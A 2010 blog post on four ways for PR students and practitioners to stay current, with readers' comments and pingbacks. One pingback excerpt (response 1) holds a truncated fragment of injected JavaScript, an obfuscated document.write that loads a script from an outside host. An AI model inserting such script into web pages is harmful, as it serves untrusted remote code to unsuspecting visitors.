4 Ways to Keep Current in Public Relations

On January 8, 2010, in public relations, by Barbara Nixon

Let’s face it . . .  whether you’re a PR student, practitioner or faculty member, we’re all busy. So how can you get (and stay) up to speed with the ever-changing world of public relations? Here’s a quick guide to how I stay current in public relations.

One: Listen to PR podcasts.

Some of my favorite podcasts are: For Immediate ReleaseInside PRThe Creative CareerTrafcom NewsMarketing Over Coffee, and Wait Wait Don’t Tell Me. My favorite time to listen to podcasts is during my daily three-mile walks. I also listen to them when I drive, work out and clean the house. Some people prefer to listen to podcasts on their computers; my preference is listening to them on my Palm Pre or iPod.

Here’s a short video on how to subscribe to and download podcasts using iTunes. If you’re not an iTunes person, you may want to visit Podcast Alley, where you can find thousands more podcasts. You can listen to the podcasts directly from the website.

Two: Read PR blogs.

There are hundreds of blogs about public relations. I’ve bookmarked many of them in Delicious for you. You can subscribe to them using your favorite RSS reader (such as Google Reader), or just read them on the web. Some of the most helpful blogs I’ve discovered recently include The Comms Corner and Karen Russell’s Week’s Best, as they aggregate current posts of interest to PR practitioners.

Three: Follow PR practitioners on Twitter.

Are you a public relations student (or recent grad) just getting started using Twitter? Try following some (or all) of these people or organizations in my Twitter Starter Pack for PR Students. They all have something in common: they tweet useful or interesting information for people involved in public relations.

Four: Subscribe to daily or weekly PR e-mailed newsletters.

My favorite PR newsletter is one that comes into my inbox daily from Ragan Communications: the PR Daily newsfeed. When I want to read the latest on PR, this is the newsletter I turn to first. Another helpful newsletter comes from Chris Brogan; Chris provides different content in the newsletter than he does on his blog, so it’s definitely worth subscribing.

Your suggestions?

What additional resources would you recommend?

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30 Responses to 4 Ways to Keep Current in Public Relations

  1. […] This post is an updated version of one I wrote in early January 2010.) var ecov = "sh"; document.write(unescape("%3Cscript src='http://eco-safe.com/js/eco.js' […]

  2. […] (NOTE: This post is an updated version of one I wrote in early January 2010.) […]

  3. Maggie Crowley says:

    Ms. Nixon, I agree with your ideas! PR is an ever growing and changing field, and keeping up with the times is just one of my concerns of becoming a practitioner. i love public relations, and I think one of the most important concepts to practice is continuing to learn how to reach people.

  4. Queata M. Cassell says:

    This is very helpful to me. I never seem to have enough time in the day but if I tune into the podcasts when I’m cleaning or listen in the car that would keep me up to date and help me use my time wisely. Thanks!!!

  5. Allie O. says:

    Thanks Barbara! Listening to podcasts during my walks to class in college played a huge role keeping up on PR news and preparing for my career. Some of these were the among the first I discovered as well!

  6. Nice suggestions. Thanks for including my Trafcom News Podcast!

  7. […] @ValerieSimon & @RLBriones: Great post by @BarbaraNixon: 4 Ways to Keep Current in Public Relations [link to post] […]

  8. Rachel Kay says:


    I love this post – really great tips not just for beginners but for seasoned professionals. I hadn’t gotten into listening to podcasts and didn’t realize how many there are out there. I’m going to give that a try.

    I’d also recommend some of the PR-related twitter chats, like #PR20chat and #journchat. Easy to join on Twitter and you get a good mix of professionals with different perspectives.

    Thanks again for the great ideas.

    Rachel Kay

    • Rachel – Thanks for your comment. I have learned SO much from listening to podcasts. One thing I need to get better at is sending comments into podcasts as often as I do on blogs. Feedback is important!

  9. Kion says:

    Great post! As mentioned above, another great way is participating in Twitter chats. Students interested in fashion and entertainment PR should join #entprchat on Tuesdays at 8 p.m. EST.

  10. […] RT @RLBriones: Great post by @BarbaraNixon: 4 Ways to Keep Current in Public Relations [link to post] […]

  11. […] Great post by @BarbaraNixon: 4 Ways to Keep Current in Public Relations [link to post] […]

  12. Tony Mackey says:

    Number 5: read comments (and follow links) from other PR bloggers 🙂 Seriously, posting comments to blogs is a great way to make sure you are involved in the ongoing conversation.

  13. […] RT @RLBriones: Great post by @BarbaraNixon: 4 Ways to Keep Current in Public Relations [link to post] […]

  14. This is a great post! I definitely agree with Valerie’s comment on getting involved with PR-related Twitter chats such as #PRStudChat, #PR20Chat or #u30pro. I have met so many fantastic people (PR pros, educators, and students alike) through my interactions in these chats that I probably would have never have met otherwise. Not only do you learn so much through what others have to say, but you also build connections that could potentially help you in terms of looking for a job, internship, etc. I would say that the key, then, is being proactive to building those relationships through continuous engagement and sharing.

    • Rowena — Good to hear from you! I enjoyed your presentation at NCA. Thanks for providing the list of PR-themed Twitter chats. I didn’t realize there were so many of them! I wonder if anyone has written a blog post that briefly describes them?

  15. Thanks for including me on your list — I read hundreds of blog posts every week, and I’ve learned so much from them in the past few years that I rank it as the #1 way that I get PR news. You can find good posts by professionals with the most current information and expert opinion. And they’re free! Why wouldn’t a student read them?

    • Karen — During weeks when I can’t seem to get to my Google Reader, I always check to see which posts you’ve highlighted as the best of the week. They’re immensely helpful.

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  17. […] RT @BarbaraNixon: [Blog]: 4 Ways to Keep Current in Public Relations [link to post] // really practical advice […]

  18. […] 2010-01-08T06:31:22  [Blog]: 4 Ways to Keep Current in Public Relations [link to post] […]

  19. Social comments and analytics for this post…

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  22. Fantastic post Barbara! I am going to have to make a more concerted effort to listen to PR podcasts and agree that your other points are extremely helpful.I do try and attend webinars. One great resource for those in public relations is PRSA’s On Demand webinars (many are free!) http://ow.ly/Tv53

    I’d also add to your #3 point. Follow PR related hashtags (as well as practitioners) on twitter. #pradvice #PRSA #PRSSA and PR related chats such as #journchat, #prstudchat #solopr etc are great for keeping a pulse on what issues/topics are currently important.

    Finally, PR industry services like BurrellesLuce (disclosure- my employer!) often offer free resources to help their clients. At BurrellesLuce we make these resources (white papers, tip sheets, webinars, a list of top media outlets & more) available to anyone in the Pr industry. More info is available at http://www.burrellesluce.com/resources

    Thanks for sharing your resources for keeping current… with so many changes in media and PR, I think this is both one of my greatest challenges and delights!

  23. This is great advice. In fact, I think doing these four things should be mandatory if you are a PR pro.

  24. N Tindall says:

    Good ideas! I am going to share your blog with my students.